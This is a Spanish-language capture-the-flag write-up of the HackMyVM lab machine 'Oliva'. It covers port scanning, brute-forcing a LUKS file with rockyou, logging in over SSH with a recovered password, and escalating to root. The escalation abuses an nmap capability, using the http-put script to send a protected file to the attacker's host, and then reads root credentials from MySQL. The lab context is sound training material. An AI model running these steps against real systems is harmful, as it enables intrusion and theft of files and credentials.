HackMyVM - Oliva

logo

  • Brute Force LUKS File
  • Leaked Credentials
  • Nmap Capabilities Exfiltrate Files

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 6d847114037d7ec86fdd2492a88ef7e9 (ECDSA)
|_  256 d85e39879ea1a6759a2878ce84f7057a (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 80 hay un servidor nginx.

nginx

Enumerando por extensiones encuentro el index.php.

❯ gobuster dir -u http://192.168.1.14 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.14
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
/index.php            (Status: 200) [Size: 69]

En el index.php veo el siguiente mensaje, si le doy click me descarga una archivo con el nombre oliva.

index_php

Con file veo que el archivo oliva es un archivo LUKS.

❯ file oliva
oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offse

Intento abrir el archivo pero me pide una contraseña.

❯ sudo cryptsetup luksOpen oliva oliva-file
Introduzca la frase contraseña de oliva:

Si intento usar la herramienta lucks2john me muestra lo siguiente:

❯ luks2john oliva > haash_oliva
oliva : Only LUKS1 is supported. Used version: 2

Gracias a la ayuda de PL4GU3 descargo esta herramienta, sigo el readme para instalarla en mi equipo y para encontrar la contraseña he usado la siguiente sintaxis:

❯ ./bruteforce-luks -t 8 -f /usr/share/wordlists/rockyou.txt oliva
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 967
Tried passwords per second: 1,965447
Last tried password: pollito

Password found: b****a

Abro el archivo luks de la siguiente forma:

❯ sudo cryptsetup luksOpen oliva oliva_file
Introduzca la frase contraseña de oliva:

Una vez que se crea el mapeo, puedo acceder al contenido descifrado a través del dispositivo mapeado. Por lo general, se encuentra en /dev/mapper.

❯ ls /dev/mapper
control  oliva_file

Para acceder al contenido creo un directorio en /tmp y luego monto el dispositivo mapeado.

❯ sudo mkdir /tmp/o_files
❯ sudo mount /dev/mapper/oliva_file /tmp/o_files

Veo que existe un archivo de texto con el nombre mypass.txt.

❯ ls /tmp/o_files
lost+found  mypass.txt

Obtengo las credenciales de Oliva.

❯ cat /tmp/o_files/mypass.txt
Yesthatsmypass!

Me conecto al sistema como usuaria Oliva.

❯ ssh oliva@192.168.1.14
oliva@192.168.1.14's password: 
Linux oliva 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64
oliva@oliva:~$ 

Enumero las capabilities y encuentro el binario nmap.

olive@oliva:~$ /usr/sbin/getcap -r / 2>/dev/null 
/usr/bin/nmap cap_dac_read_search=eip

En gtfobins encuentro lo siguiente.

gtfobins

A partir de aquí se puede obtener las credenciales de root de dos formas, una es según PL4GU3 leyendo el archivo /root/.mysql_history y la otra es la siguiente.

En la máquina victima pongo la ruta del fichero index.php ya que con el usuario oliva no tenemos permisos de lectura y eso me ha llamado la atención.

oliva@oliva:~$ nmap -p 8080 192.168.1.18 --script http-put --script-args http-put.url=/,http-put.file=/var/www/html/index.php

En la máquina atacante puedo leer el archivo y encuentro las credenciales para conectarme al servidor mysql.

read_php_b

Verifico puertos internos.

oliva@oliva:~$ ss -ltun
Netid     State      Recv-Q     Send-Q         Local Address:Port         Peer Address:Port    Process     
udp       UNCONN     0          0                    0.0.0.0:68                0.0.0.0:*                   
tcp       LISTEN     0          80                 127.0.0.1:3306              0.0.0.0:*                   
tcp       LISTEN     0          511                  0.0.0.0:80                0.0.0.0:*                   
tcp       LISTEN     0          128                  0.0.0.0:22                0.0.0.0:*                   
tcp       LISTEN     0          511                     [::]:80                   [::]:*                   
tcp       LISTEN     0          128                     [::]:22                   [::]:*   

Me conecto al servidor mysql.

oliva@oliva:~$ mysql -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 46935
Server version: 10.11.3-MariaDB-1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

Listo las bases de datos.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| easy               |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

Listo las tablas de la db easy, dentro de easy hay la tabla logging y dentro de logging hay las credenciales de root.

MariaDB [(none)]> use easy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [easy]> show tables;
+----------------+
| Tables_in_easy |
+----------------+
| logging        |
+----------------+

MariaDB [easy]> select * from logging;
+--------+------+--------------+
| id_log | uzer | pazz         |
+--------+------+--------------+
|      1 | root | O*********y! |
+--------+------+--------------+

Obtengo el root.

oliva@oliva:~$ su root
Contraseña: 
root@oliva:/home/oliva# id
uid=0(root) gid=0(root) grupos=0(root)

Y aquí termina la máquina Oliva.

Saludos!